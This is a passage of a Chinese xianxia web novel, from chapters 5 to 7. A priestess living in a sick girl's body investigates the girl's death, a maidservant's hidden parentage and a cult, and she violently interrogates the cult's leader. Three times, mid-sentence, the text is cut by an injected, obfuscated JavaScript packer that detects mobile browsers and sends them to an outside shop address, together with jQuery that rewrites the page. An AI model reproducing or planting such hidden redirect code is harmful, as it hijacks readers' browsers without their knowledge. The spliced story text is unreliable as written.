若说当今九洲四海,最受推崇的并非王庭,而是巫祝一脉。其族人以命达天,换天下安宁。一百四十年前大祝力排众议,执行“启天祭”。 自此,祸乱日减,灾厄渐息。 “尊使。”乌霜月接到传讯后匆匆赶来,虽然不知道具体发生了什么,但也能猜了个大概。 初清叙三言两语向她讲清了眼下情况,在听到幕后之人妄图用锁灵阵绞杀时,乌霜月实在没忍住,乐了。 她了一副讨喜的模样,两弯眉下,杏核眼灵动如鹿,顾盼间流转着粼粼波光。琼鼻微翘,朱唇点而不赤,一笑便露出浅浅梨涡。 “和林府近日可有异动?”初清叙说累了,抿了口茶。 乌霜月一年前追查地脉之事来了南源,近些日子查明真相正准备回去向大祝述职,昨日却突然收到大祝召唤,连忙夜间挑灯赶完文书就来了,正准备洋洋洒洒畅谈自己一年来的发现,谁知大祝竟然遭此一劫。 那她的升职,她的俸禄,岂不是要搁置了! 乌霜月恨幕后黑手恨得牙痒痒。 见眼前少女模样的人又沉浸在自己的世界里,初清叙轻弹她的额头,“回神。” 乌霜月捂着洁白不痛的脑门,说:“五日前顺秋府袁氏派人来这寻人,他们家大小姐不见了。” 顺秋府位于北境,也是王庭所在之处。女儿居然从北丢到了南,也是奇异。初清叙思索一瞬,下令:“你将这事传信给戚容与,让他查。” 北境数百氏族,均由戚容与统领,让他动手是最方便的。乌霜月也明白,点头应“是”。随后,她悄悄抬起眼,满是藏不住的八卦意味。 “您和他的婚约……”乌霜月语气隐隐兴奋。 初清叙冷淡的面容不变,“查清这里的事再说。” 乌霜月识趣地闭了嘴,顺着大祝手指的方向搬了张椅子,乖巧地坐下。 初清叙撑着额角,问她:“你可见过颈侧有血洞之人?” 她本是随口一提,谁知乌霜月却蓦地睁大眼,语气惊奇,“属下前些日子正巧查出这类人!” 她从芥子袋里取出今早刚写完的新鲜文书,郑重地交了出去,眼中已充满对升职加薪的渴望。 乌霜月字迹工整条理清晰,桩桩件件记录详尽,初清叙一目十行地看完,心下有了大致盘算。她沉吟片刻,握住乌霜月的手,“我需要借些灵。” 顾名思义,借灵就是借取他人的灵力。 但灵力各殊,借取者往往要承受筋脉剧痛之苦,如此极端偏激的法子,初清叙很少用。 乌霜月紧皱着眉,不同意,“您何必如此冒险。” “虽然由我自行疏导脉络,现也可以正常吐纳,但到底是从头再来。”初清叙耐心地向她分析,“若是借灵,再辅以心法,我至少能恢复至六境。我在此地多待一日,王庭就越乱一分,还是要尽早探查清楚。” 帝王将逝,有人的野心藏不住了,不止王庭,不止北境,整片九洲都盈斥着山雨欲来风满楼的意味。 乌霜月踉跄着后退两步,“简春意的身子,能承受得住吗……” 初清叙轻笑,“自然。” 借灵不损身躯,只损神魂。她自然承受得住。 乌霜月又掐了一道匿息诀甩在门上。 初清叙看在眼里,知道她这是同意了,“多谢。” 一团淡紫的光晕自乌霜月掌心生出,蕴含着她七境的灵力。初清叙伸出手,覆在光晕上,丝丝缕缕的微茫钻入她的筋脉,虽如涓涓细流,却有着惊涛骇浪的破坏力。萎缩狭隘的脉络被霸道强硬的灵力寸寸逼开,神魂如焚,剧痛将她层层裹挟。 乌霜月看她唇角溢出的鲜血,却也只能干着急,借灵时不得动用灵力,否则她恨不得一道道愈疗诀拍过去。 疼痛令时间变得尤为漫长,眼鼻耳仿佛浸在海水中,酸痛不已,五感俱失,天地都化成了寂静的虚无。初清叙恍惚间又回到了那场大雪中——百年前,她杀了羌王,被散去一身修为,四面楚歌下,不得已借灵强撑。 但当时的痛楚,尽数被戚容与担走。 原来借灵是这般滋味…… 光晕被全部吸收完后,初清叙险些失去意识。乌霜月及时搂住她,才没让她一头栽到地上。 缓了半晌,初清叙攒了点力气,按住还在源源不断给她拍愈疗诀的乌霜月,吩咐道:“将你查到的人带到和林府阴笼里,我明日去审他。” “是。”乌霜月艰难地出声。 “这个侍女,你先把她安置到她自己屋里吧,辛苦了。”初清叙抬手理了理她鬓角稍乱的发丝,“先走吧,记得找梨细雪讨赏。” 乌霜月依依不舍地松手,从榻前到房门的这几步路,她愣是走得一步三回头。 等彻底察觉不到她的气息,初清叙才按着心头呕出一口血来,又很快被她用灵力烧干净。 待青棠与暮荷进来时,屋内只余下一缕浅淡的熏香,未有半分异样。斜倚在软枕上的初清叙却在她们进来的一刹那,微微睁大了眼。 眼下修为恢复至三境,她敏锐地察觉到,暮荷周身有极淡的灵力缭绕,并非她自身所出。 这情形与刚借完灵的初清叙如出一辙!唯一不同的是,她能够将这些灵力化为己用,但暮荷显然无法炼化吸纳——这也是她先前没有一丝修为时没能感知到的缘由。 两人是来唤初清叙用午膳的。 暮荷接过她手头的书,扶着她坐在桌边。青棠端着一个红漆食盒,将饭菜一一摆在桌上。都是些清淡的菜,分量不多,卖相精致。 初清叙对吃食没有任何讲究,夹了一筷子青菜。她嚼了两下,怀念起远在极北境的梧塘镇的馄饨店了,若是计谋顺利的话,大约是没机会去了。 一顿饭吃得寡然无味。 雨暂时停了,外面闷热,初清叙借着消食的名义逛起了小院,指腹擦过栏杆上被雨水浸得发乌的木纹,触感粗粝而潮湿。 院子不大,布局却见心思。东墙根下种着一溜芭蕉,肥大的叶子被雨打得七零八落,垂着几串晶莹的水珠,风一过便簌簌地洒下来。 此处灵力甚微,细小的灵丝自指尖蔓延,却只在空中晃荡两下,又悠悠消散了。 初清叙又在西北角放出一缕灵力,也同样的,很快就消散在了空中。 ——释灵阵,但只对低境的修士起效,若是乌霜月这种七境的,则难以察觉到阵法的存在。 谁在简春意的院子里布下这个阵法? 思索间,姜总管带着小厮抬着两个大箱子回来了,他招呼丫鬟们掀开箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408837|200633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,里面多是一些补品布料,还有几对首饰。 “是夫人小姐送的。”姜总管笑得眯起眼。 初清叙不置可否,她点了两个小丫鬟让她们清点箱内物品,列好单子。 谁知小丫鬟却满脸不解地看着她,“小姐,奴不识字呀。” “……” “暮荷,你来。”初清叙说。 暮荷正帮着归置箱笼,闻言应了一声,将手中一匹绢帛叠好放下,小步趋了过来。 “小姐要列什么单子?”暮荷取了纸笔,在桌边坐下,研墨的动作极是熟练。 “夫人送来的那些,一样一样记清楚。”初清叙倚在窗边,“料子几匹、补品几盒、首饰几对,都写上。回头我好去谢恩。” 暮荷提笔蘸墨,一笔一划地写起来。她的字迹端正,虽不算多好看,却工工整整,看得出是下过功夫的。 姜总管还没走,抻着头在院子里找,“芙菱呢?” 初清叙百无聊赖般看了看指甲,浑不在意,“不知。” “哎呀!”姜总管一拍大腿,藏不住脸上的急躁。 这反应着实蹊跷,初清叙问他:“芙菱已十六了,在府内丢了还会出什么事不成。” 姜总管急得连二小姐与素日不同的冷淡语气都没发觉,匆匆一摆手,行礼退下了。 青棠在一旁撇了撇嘴,像是不忿。 初清叙看在眼里,但没多在这事上耽搁,她还惦记着小丫鬟说自己不会写字一事,进屋直往书架去。 房中确实有不少书,都是些四书五经,圣人诗书,边缘翘起,看得出翻阅了非常多次。她随意拿下一本,入眼的批注笔走龙蛇,如松间之风,石上之泉。 这不像一个文文弱弱的小姐能写出的字。 她按下疑惑,又抽了一本出来,仍是这般字迹,但再往后翻几页,又出现了另一道字,与前一种字形似,却多了几分力不从心,像是还未学成。 初清叙指腹抵在纸页上,停了片刻。 她将两本书摊开并排放在膝上,左右比对。前一种字迹锋芒内敛,撇捺间藏着风骨,批注多是些见解引申,寥寥数字却切中肯綮。后一种字迹虽努力模仿其形,却少了那份从容,笔画收尾处常有迟疑的顿点,墨色也浓淡不一,像是写时犹豫再三。 两处批注落在一处,倒像是一场无声的授业。 譬如“百物去其所与异,而从其所与同”一句旁,前者的批注是:“同异之辩,不在物,在人。人以己为度,则异者亦同;以物为度,则同者亦异。”字迹疏朗,意态闲闲。下面隔了两行,后者的字迹跟了一句:“所以君子不执己见,不以己度物?”问得小心翼翼,像是在确认自己有没有听懂。 初清叙又翻了几页,发现诸如此类的问答颇多。前者从不直接作答,往往再批一句引子,像是抛一根线,让后者自己顺着往上攀。 后者字迹从生涩到日渐从容,分明是有人在教。而教的那个人—— 初清叙低头,新翻开本游记。 这是书架上唯一一本与经史无关的。扉页上只有一行字,是前一种笔迹: “纵我不往,子宁不来?” 墨迹沉而淡,旁边没有批注,没有回应,只有这一句孤零零地落在那儿,占了大半页白纸。 5. 旧事 游记继续往后翻,初清叙找到了一枚云篆。 淡蓝的题名帖静静夹在书页中,色若雨后初晴的天。帖面轧着流云纹,银线勾边,舒卷自如,纹路间隐隐有微光淌过,幽幽地明灭着。 她拿起云篆,端坐如常,眼底暗潮翻涌,眉目凝霜,良久,才化成一声无人知晓的叹息。 运转心法时,初清叙便发觉简春意的根骨不错,若是无病无灾,再加以引导,在修炼一途上应该能走得很远。 譬如她眼前的这枚云篆,是南源沧衍宗为通过入门考核的弟子发的题名帖。上书时间业已是十二年前,那年简春意七岁,正是修炼入门的最好年纪。 但云篆灵识刻印仍在,简春意得了题名帖后并未去沧衍宗。可假以她自身天赋,无师无长也能自己练出点说法来。 偏偏陷入了尘世的樊笼里,香消玉殒。 思及此,初清叙挑出一点云篆上属于的简春意的灵识来,指尖凌空疾走,符文凭空而生,灵力波动搅得气流微微扭曲,然后她掌心蕴力,符文破空直上,笼住了整个和林府。 昨日司命追魂,一无所获,现有了灵力傍身,初清叙再次尝试—— 仍一无所获。 除非简春意身死已久,亦或是神魂被外力所锢,否则不该是这个结果。 谁残忍杀害了一个本该风光无限的少女? 初清叙托着腮,指节轻叩桌面,脆响在房内如涟漪般散开,恍若一声声警钟。 溢散的符文自四面八方涌入,虽没能带回简春意的意识,但有关她的一切都被一股脑揽了回来。有街头巷尾的闲聊,有丫鬟小厮背后的编排……她一点一点吸收着这些无关紧要的小事,看了半天,找到一条有着浓烈爱恨的思绪。 她顺着这条思绪任灵力游走,在茫茫人海中找到了这位爱恨浓烈的人。于是她把这消息传讯给了乌霜月,让她查,顺带着还有几条有关简春意生母的,这种涉及八卦之事乌霜月查起来如鱼得水。 乌霜月果真兴致盎然地领了任务,但亟待解决的是不安分的大祝全城司命这事。 “您好歹藏着点收着点力呢?现在整个和林府七境以上的修士都知道您来了。” 说实在的,初清叙已经隐约能想到幕后之人是哪方势力了。 帝王将逝,权力更迭,动荡不安。 巫祝与北境氏族皆受王庭统领,作为这两脉势力的掌权人,初清叙和戚容与始终处于一个此消彼长的制衡状态。 但积年累月的祭祀折了初清叙的寿命,历史上最年长的大祝才不过活了三百岁,初清叙已是将死之人了。族中之人鲜少有通权术的,她一死,巫祝将又回到百年前勤勤恳恳祭祀,但任谁都能压上一头的模样了。 王庭不愿看氏族独大,因此想了个联姻的阴招,用太上姻缘结将她和戚容与捆在一块,她一死,戚容与也要死。但王庭错以为初清叙还有几十年时间磋磨,想的还是等他二人死后新王上位,势力高涨,一举收复巫祝与氏族。 而暗处有人对王位虎视眈眈。 蜉蝣族。 避世不出,可近些年动作不断。他们想将初清叙困在这,延缓联姻一事。她只需要活着,巫祝和百姓乃至九洲便能一日不乱。 初清叙从来不是一个有耐心的人,她的游刃有余建立在她九境的绝对实力之上,若是可以她更喜欢一路杀过去。但做这些时她又会分外冷静,因此手底下的人恍惚间会生出她是一个沉稳的人的错觉。 但错觉到底是错觉。 初清叙和乌霜月解释:“敌在暗我在明,本就被动不已,三天了对方没有任何动作,多半是想让我在这蹉跎下去,但如此一来,他们该着急了。” 乌霜月狐疑:“您是不是单纯想把事情闹大。” 初清叙没说话,虽然事实如此。 把自己推出去,让一举一动都受到所有人的注视,对面无论做什么都该先掂量一下。 但她还有一个想法,沧衍宗的掌门是她故人,现在她没法给她递信,但对方要是知道自己在这,定会来一趟。 “您就这么笃定她能来?”乌霜月才跟了初清叙四十年不到,对她过去的私人关系了解不多。 初清叙难得语塞:“……她想杀我。” “……” 乌霜月彻底服了她了。 桌上的衔音珮暗了下去,初清叙将云篆和游记以及余下两本书放回书架收好。 有个丫鬟进来通报:“黄嬷嬷来了。” “请进来吧。” 黄嬷嬷还是那副华贵的打扮,她欠身行了个礼,脸上挂着惯常的笑,“打扰二小姐休息了。” “嬷嬷有事直说便是。”初清叙牵着嘴角,虚弱又柔和地说。 黄嬷嬷将手中花笺交给立在一旁的暮荷,说:“谢家初七要办霁泽宴,帖子刚送到府上。夫人说了,那日带着二小姐一道去,见见世面。” “有劳嬷嬷跑一趟了,请回母亲,女儿任凭母亲安排便是。” 黄嬷嬷来这一趟只为送帖,眼见送到了,初清叙又如此乖顺,笑容更甚,走时步子都快了许多。 初清叙偏头问暮荷:“让你查的药怎样了?” 她为了祭祀殚精竭虑,王庭的补药源源不断地送来,生怕她先死了,那里头多是些有价无市的名贵玩意儿,她见多了也渐渐能识得。昨日她却在简春意的药渣里,发现几味熟悉的药材,但别说一介庶女了,就是简府也难以得到这些珍惜货。 “小姐的药方子都是先给夫人过目的,负责抓药的是芙菱,煎药的是青棠,奴婢问了她俩,都说是前两日才换的药方,于是奴婢又问这几味药哪来的,芙菱只说是存仁堂抓来的,因而奴婢派了人去存仁堂问,现在还没回来呢。” 兜兜转转,仍是回到了秦苒身上。 “还有一事,夫人让小姐在布料里挑一匹制衣裳,霁泽宴时穿。” 初清叙随手指了件云峰白的月华锦,接过暮荷要来的两张药方,一张改前的,一张改后的。 初清叙扫了一眼,她不通药理看不出名堂,但也能辨出改前的药都是些常见的,改后的方子则极为苛刻——苜山的无色须、西极的逐草、天堑地的软目蝶、河洛洲的扶爻花……不知晓的还当这个简是顺秋府简氏的简呢。 但偏生写药方的人不知是刻意的还是无心之举,譬如“软目蝶”这种一看就极难得的,写了个别名“夏生虫”上去,本就罕见的药材经这名字一修饰,虽同样让不知情的人摸不着头脑,却也不觉得难得了。 初清叙将药方叠起,问:“这方子是谁开的?” 暮荷不假思索:“李神医。” 很好,初清叙想了想自己知道的几位被冠以神医美名的人,没有一位姓李,她压根不知道这个李神医是谁,但还是自然地顿首。 说话间,芙菱唯唯诺诺地进来送药,她后颈还红肿着,但被长发盖着看不出痕迹。 初清叙意有所指地看了她一眼,芙菱立马寻了个借口走了。 但就这一眼,初清叙对着芙菱生得张扬的眉眼,越想越觉得眼熟,直到她视线无意间往铜镜上掠过,才恍然惊觉:简春意的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408838|200633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛与芙菱的有几分相像,但简春意眉更细一些,压下了这点锐意,乍看只会觉得温柔大气。但芙菱眉稍粗,更是尾端扬起,更显凌厉。 她回忆起在王庭见过的种种,心下突然有了荒谬的猜测。 而乌霜月的到来更是印证了这个事实。 彼时已经入了夜,初清叙困恹恹的,拥着被子看从窗户翻进来的乌霜月。 “你怎么和戚容与一个做派。”她打了个呵欠,对二人这种梁上君子的做法不予评价。 乌霜月是抓了把瓜子来的,闻言眼睛又亮了亮,“我哪敢翻大祝的窗,只能翻翻简春意的。” 初清叙轻哂一声,“说事。” 她在乌霜月的面前显然放松许多,肩膀都垮下不少,缩在被子里,眼里沾染着不加掩饰的困倦。 “您要先听哪样,是有关爱的呢,还是恨的呢?”乌霜月伸出两根手指。 初清叙十分配合,“先说说爱吧。” “爱就是——简春意与裴家大少爷曾有过婚约。”乌霜月嗑着瓜子,“但两年前裴大少爷失踪,婚约突然取消了。” “失踪?”初清叙思忖,“后来找到了吗?” 司命的结果昭示着裴少爷就在和林府。 但乌霜月摇了摇头,也觉得奇怪,“裴家还在找。” “要说简春意跟这个裴少爷,可谓是青梅竹马两小无猜……要是裴大少没失踪,简春意现在应当过得不错吧。”乌霜月带上几分惋惜。 初清叙耸了耸肩,并未做评,她问:“恨呢?” “那这就说来话长了。”乌霜月一下子起了兴致,“这要从简春意的生母周氏说起了。” “十六年前,周氏想杀了简大小姐,没成,最后自缢而亡。” “要说周氏为什么看上个侍卫,还得讲讲简府的老爷简文朗。他就一庸才,没什么本事,全靠娶了秦苒,才能把简家盘成和林府数一数二的豪族。”乌霜月说这话时有些恨铁不成钢,“当初本该是简文朗赘去秦家的,也不知秦苒怎么想的,还是嫁了过去。” “秦苒可不像是能为了情爱付出的人。”初清叙点评。 “但秦苒那会儿怎么说也才不过二十,年纪尚小。”乌霜月撇撇嘴,继续说下去,“再说周氏,年轻时美貌名动南源,刻在桂湖湖心亭上的诗据说还是为周氏所作。啧啧啧,何等惊艳。不过这个还得看我们大祝,要说现在学堂的启蒙诗是不是当年那谁假借写竹实则写你的。” 乌霜月越说身子压得越低,几乎凑到了初清叙肩旁。于是初清叙极为顺手地弹她的脑门,“少贫,继续说。” “哦……后来简文朗纳周氏为妾,两个人恩恩爱爱,很快就有了简春意。有了孩子后简文朗对周氏更加上心,但简家的生意却开始走下坡路,所以简文朗又回去讨好秦苒,冷落周氏了。” “周氏叫什么?” “周氏十岁前叫周落芳,后加入了戏乐坊,改了名为周滢,嫁入简府又改了名,我也不知唤她什么好了。” “话说回来,便是周氏不甘冷落,为验证自己仍年轻貌美,引诱了个侍卫,正巧被简舒唯撞见了。周氏厌秦苒,连带着看不惯她女儿,新仇旧恨在一块,遂想出个给简舒唯下毒的法子。” “但我觉得这事没那么简单,于是又细查了一下,发现周氏的母家,世代在秦家做奴,直到周氏母亲那一辈,才脱了奴籍。究竟是因简文朗才厌上秦苒,还是本就不喜秦苒,这谁也说不清楚。” “但秦苒也是个狠的,你既然这么恨我那我就让你女儿继续当奴隶。” 6. 芙菱 秦苒早已免了简春意的晨昏定省,初清叙落得个清闲。但用早膳看到芙菱时,她还是免不得想起昨夜乌霜月的那一番话。 “芙菱。” 初清叙淡淡开口。 “你将房里那枚翠青寿纹钿子找出来,随我去见母亲。” 小侍女手脚麻利,很快就拿盒子装好捧在手上,亦步亦趋地跟在初清叙的身后。 “周氏和侍卫行事之后就怀上了孩子,不知出于什么她居然瞒着偷偷生了下来,但孩子不过两个月她便撒手人寰。后来这孩子被秦苒抱走,给黄嬷嬷和姜总管养着,然后又送到了简春意身边。你说这孩子知道这件事吗?”乌霜月的感叹还留在耳边,而她的回答是: “瞧她的模样,至少先前是不知晓的。” 芙菱眉间是天生的乖巧与温和,但少女的意气冲淡了这点规训感,脸颊微鼓,瞧着便是养得不错,但现今却神情恍惚,一天内就瘦下去不少。 初清叙捏着袖口,疑心简府其实是个吃人的地方。 正院离东边不远,穿过月洞门,再绕过紫藤架子,便是秦苒的居所。院中两棵树枝叶蓊郁,遮出好大一片阴凉。几个小丫头正在外头扫洒,见初清叙来了,忙不迭起身行礼。 “二小姐来了。”里头已有丫鬟掀了帘子通报。 秦苒正坐在临窗的榻上,手里捏着一串檀木佛珠,面前的矮几上摊着本账册。她今日穿了一身鸦青色的褙子,头发只简单挽了个髻,斜插一支银簪,瞧着比昨日素净许多,反倒显出一种当家主母的从容来 “春意来了。”秦苒抬起眼,目光在她脸上停了一瞬,又落回到账册上,“坐吧。” 初清叙屈膝行了礼,在旁边的椅子上坐下,芙菱端着盒子立在她身后。 “今日怎么想着过来了?”秦苒翻过一页账册,语气淡淡的,“身子好些了?” “劳母亲挂心,吃了两日药,觉着精神了些。”初清叙的声音细细的,带着几分气虚的绵软,“昨日母亲赏了许些,今早芙菱提醒我,说该来谢恩,顺道也给母亲请安。” 秦苒这才搁下账册,端起茶盏抿了一口,“你有这份心便好。身子要紧,这些虚礼,不来也罢。” “母亲体恤,春意却不能不懂事。”初清叙偏头看了芙菱一眼,小侍女立刻会意,将盒子呈上来。 初清叙接过,双手递到秦苒跟前,“这枚翠青寿纹钿子是春意先前得的,一直没舍得戴。想着母亲素日里偏爱素净的,这钿子颜色鲜亮,逢年过节戴一戴,倒添喜气。” 秦苒没急着接,只拿眼风扫了那盒子一眼。翠青的钿子躺在绛红绒布上,成色算不上多好,中等偏上的货色,胜在雕工精细,寿纹刻得圆润流畅。 “你有心了。”她微微一笑,伸手合上盒盖,“收着吧。” 立在一旁的黄嬷嬷应声上前,接了盒子,退下时目光从芙菱脸上掠过,极快的一眼,却教初清叙瞧个分明。 无人注意到,衔音珮安安静静地藏在她的袖口里,乌霜月的声音传音入耳:“秦苒有没有变脸?” 初清叙同样传音:“秦苒比你要稳重。” 今早这一出还是乌霜月提出来的,这寿纹钿子是当年周氏死后,其故人赠给简春意的,但简春意却不知晓这背后弯弯绕绕,只道是遇到了个极好的玉器店管事。可秦苒是认得的,这器物就是周母脱奴籍时,秦家的赠物。 乌霜月是随口一提,拱火罢了,但初清叙却认真想了一下,当真摸出点门道来,立即采纳了。 因此乌霜月百般央求送礼时与她通着传讯。 母女二人不咸不淡又问候了几句,初清叙像是忽然想到一般,说:“我身边伺候的人够多,芙菱跟着我这么多年,女儿想擅自做主,为她脱了奴籍。” 秦苒神色一凛,与黄嬷嬷不动声色地交换了个视线。而芙菱若不是死死撑着椅背,怕是当场就要倒了下去。 “脱籍?”秦苒放下茶盏,几个字在舌尖滚了一圈才吐露出来,像是头一回听说似的,“春意怎么突然想起了这个?” “芙菱跟了我这么些年,不说劳苦功高,也是做了许多的。”初清叙的声音像一根绵长的软线,往场上另外三人的耳朵里钻,“女儿想着,横竖我身边也不缺人伺候,不如放她出去,也好过在府里蹉跎一辈子。” 她说这话时,没有看芙菱。 但小侍女急促的呼吸声仍是清晰地传入她的耳中,如一尾被浪头拍上岸的游鱼。 秦苒没有立刻接话。她拿起佛珠,一颗一颗地捻,珠子相撞的声音在寂静的房里格外清晰。 “春意有心了。”她终于开口,声音还是那样淡淡的,“只是脱籍一事,到底要过官府的手续,不是咱们娘俩说几句就能定的。再说——” 她顿了顿,目光越过初清叙的肩头,落在芙菱身上。 “芙菱这孩子,我瞧着也喜欢。若是放出去了,你身边岂不是少了个知冷知热的人?” “母亲说的是。”初清叙点了点头,像是被说服了,“是女儿想得不周全。” 她偏过头,看了芙菱一眼。 芙菱的脸色白得吓人,手指攥着袖口,指节泛青。她张了张嘴,像是想说什么,但最终只是低下头,什么也没说。 初清叙收回目光,站起身,“那女儿先回去了,不打扰母亲理事。” 秦苒点了点头,目光落在她身上,停了一瞬,才说:“去吧。” 出了正院,初清叙走得不快。芙菱跟在她身后,脚步虚浮,像踩在棉花上。 “你想走吗?”初清叙停下脚步,问她。 芙菱还在埋头想事,猝不及防地撞上了她的后背,被清瘦的肩骨碰得头痛,才反应过来,匆忙跪下:“奴婢……奴婢……” 她张着口,什么都说不出来。眼中积蓄已久的泪淌下,哭花了一张和简春意六分相似的脸。 姐妹二人相貌如此相像,府中风言风语定然不少,芙菱这些年,怎么过来的。 初清叙叹了口气,将芙菱扶起来,神情不尽温和,“你只管说就是了,你想走吗。” 芙菱咬了咬嘴唇,下定决心,“我想。” 她郑重后退了一步,拱手行礼:“昨日是我鬼迷心窍,冲撞了大人。” 大人?初清叙揣摩着这个称呼。 “谁告诉了你那些,你又知道些什么?” 芙菱苦涩地摇摇头,她不能说。 初清叙了然,知她是被下了禁言的咒术。 “最后替我做件事可好?”初清叙挑起她低垂着的头。 芙菱眨了眨眼,应下了。 乌霜月通过衔音珮听了个全,见初清叙安排着芙菱在屋内扮演简春意,便提到正事:“人已经押到阴笼了,但不太老实。” “嗯。”初清叙应了一声。 一年前初清叙观测到地脉灵力时有波动,顺着查下去发现源源不断的灵力被运往南源,她吩咐乌霜月去追查这件事,现在终于有了结果。 ——是有人在利用地脉灵力平息湮渊。此处是万年前人神交战遗留下的古战场,刀斧般凌厉的气流肆虐,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408839|200633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在却被人用天地内浩然灵力抚平。 乌霜月查到最后,抓住了一脉邪祀。 领头的人叫顾稆,口风严实,车轱辘话一套又一套,神态嚣张无比。 阴笼并非是笼子,而是用秘法搭建起来的芥子空间,乍看与现实无异,但只有神魂才能入内。被关在阴笼者,不出七天就会心智溃散。当然也有恢复的法子,对穷凶极恶者,便是这么来来回回折磨着。 “你们把老子关死了也没用,福泽恩佑,羌王不会抛弃我的!”顾稆双手被反剪在椅背上,嘴角噙着邪笑,长发散乱成结,衬得一双凹陷的眼轻狂至极。随着他的作乱,镣铐叮当作响,但周遭看管的巫狱视他如死物。 顾稆嚷得大声:“一帮初清叙的走狗!她给你们什么好处让你们给她卖命!九洲正统应在我们羌王!初清叙这个疯女人算什么东西!” 年纪较小的巫狱听了这话,朝他投来压着火气的一眼。 顾稆有了回应,更来劲了。 “启天祭是假的!当年初清叙为什么要推行启天祭,还不是她怕死!但万物终将迎来劫难,羌王会给我们带来福祉!”他话锋一转,几乎是咬牙切齿,“这一切都被那个疯女人给毁了!” “还挺有精神。”疯女人在阴笼外听着,嘴角扯出一抹冷笑。 她扣开阴笼大门,松松散散绾着的发丝忽而被拢起,步摇垂珠纹丝不动。一身素净青衣成了霁红织金裙裾,暗纹流转,褶皱里掐着细碎的光。 含水的眉眼也拉长了弧度,从骨相里透出凌厉,眉梢压着眼梢,似笑非笑。极致的容貌与傲人的地位令她与众人拉开极远的距离,阴笼中每一个见到她的人,无不俯首。 顾稆的呼吸窒了一瞬,他不得不承认,骤然降下的威压让他双腿发软,但即使如此,他仍梗着脖子粗声粗气:“哈,你终于敢露面了,畏首畏尾的鼠辈!” 初清叙转着匕首,不跟他废话:“曦茨在哪?” 顾稆仰起头,但即使这样也没能对上初清叙的视线,因为这个女人压根就没在看他!这个认知让他离奇地愤怒,但诡异的兴奋又攀上心间,他眼底是不可思议的疯狂:“初清叙……” 音节自他口中吐出,恍若某种诅咒。 “一百年前你杀羌王时有没有想过会有今天。”顾稆脚尖点着地面,回声在寂静的空间回荡,“我们最感谢的人就是您了!您杀了羌王,让他终于回到了天地,回到了湮渊!” 他脚跟发力,带着椅子往后滑去,在地面上拖拽出难听的噪音,但也因此,拉开的身距让他能注视到初清叙的眼睛。 直到这时,他才意识到,对上上位者的视线,是何其恐怖的事情。 黑白分明的眼珠里,没有他的身影。 初清叙飞掷匕首,割开顾稆身上的枷锁。 然后—— “砰!”的一声。 顾稆连人带椅被掀翻在地。 胸腔被九境可怖的灵力死死压住,他几乎能听到肋骨碎裂的声响和愈发高亢的心跳。 初清叙仍是不动声色的模样,但她露在外的细白手指正慢慢弯曲。 顾稆胸间的肋骨全碎了,他怒极反笑,嘴角正源源不断地溢出血液,他面容染上癫狂。 “羌王将临!” 巨大的撞击声响起。 顾稆被砸至墙上,颓软地瘫倒在地,簌簌落下的碎石剐蹭在身上,留下几道血痕。 初清叙拎起他占满灰与血的头发,对上他涣散的眼珠,心平气和、眼角眉梢带着笑地问:“曦茨在哪?” 7. 长庚 “人找到了。”乌霜月撕裂空间,快步走了进去,“在苜山。” 周遭场景如潮水般褪去,初清叙的神魂从阴笼中抽离,再度跌入病弱的身躯中,又成了简春意,她拢袖而立,灵力收缩,五感迟钝,连呼吸都变得沉重。 有一瞬间的恍惚。 她闭了闭眼,再睁开时神色晦暗不明。 乌霜月压着舌尖翻涌出的苦涩,没说话。 她知道大祝在想什么。 百年前曦茨以阴毒手段害得初清叙和戚容与险些双双殒命,后来初清叙单枪匹马杀上王庭剑指羌王,被天罚击得在雪地奄奄一息。 重伤方醒的戚容与赶了过去,无人知晓他们之间发生了什么,但两人的关系自此疏远了许多。 但定与曦茨脱不了干系,初清叙追着曦茨杀了百年,每每遇到这事,总是一副让人捉摸不透的模样。 “走吧。”初清叙迈开步子。 苜山位于南源北界,如一道凝固的苍青色海啸,横亘在天地间。山北,跨越九洲的漆河以不容商榷的姿态劈开峡谷,水流湍急到近乎暴烈。巨石被冲刷得脱落,半截埋在激流中,半截裸露在外,顶端一株墨色芒草迎风而立。 灵力跨越暴虐的谷风与水流卷走芒草,将它递到了初清叙手中。 这是无色须。 但它末端枯萎,分明是被侵染的模样。 是邪祀的灵力留下的。 “就在这附近。”初清叙松开手,无色须落入水流中,转眼便被吞没。 两道身影在山间飞掠,初清叙心有余而力不足,边按下动作间不断泛起的刺痛,边想着该找个合适的人当沙包试试手了。 邪祀的前身为息巫派,是羌王死后他的残党成立的与玉山族,即巫祝一脉对抗的派系,在多年敌对下,最初的人早已死得差不多,直到曦茨横空出世,接手息巫派,不断吸纳扩大势力,现已覆盖全九洲。 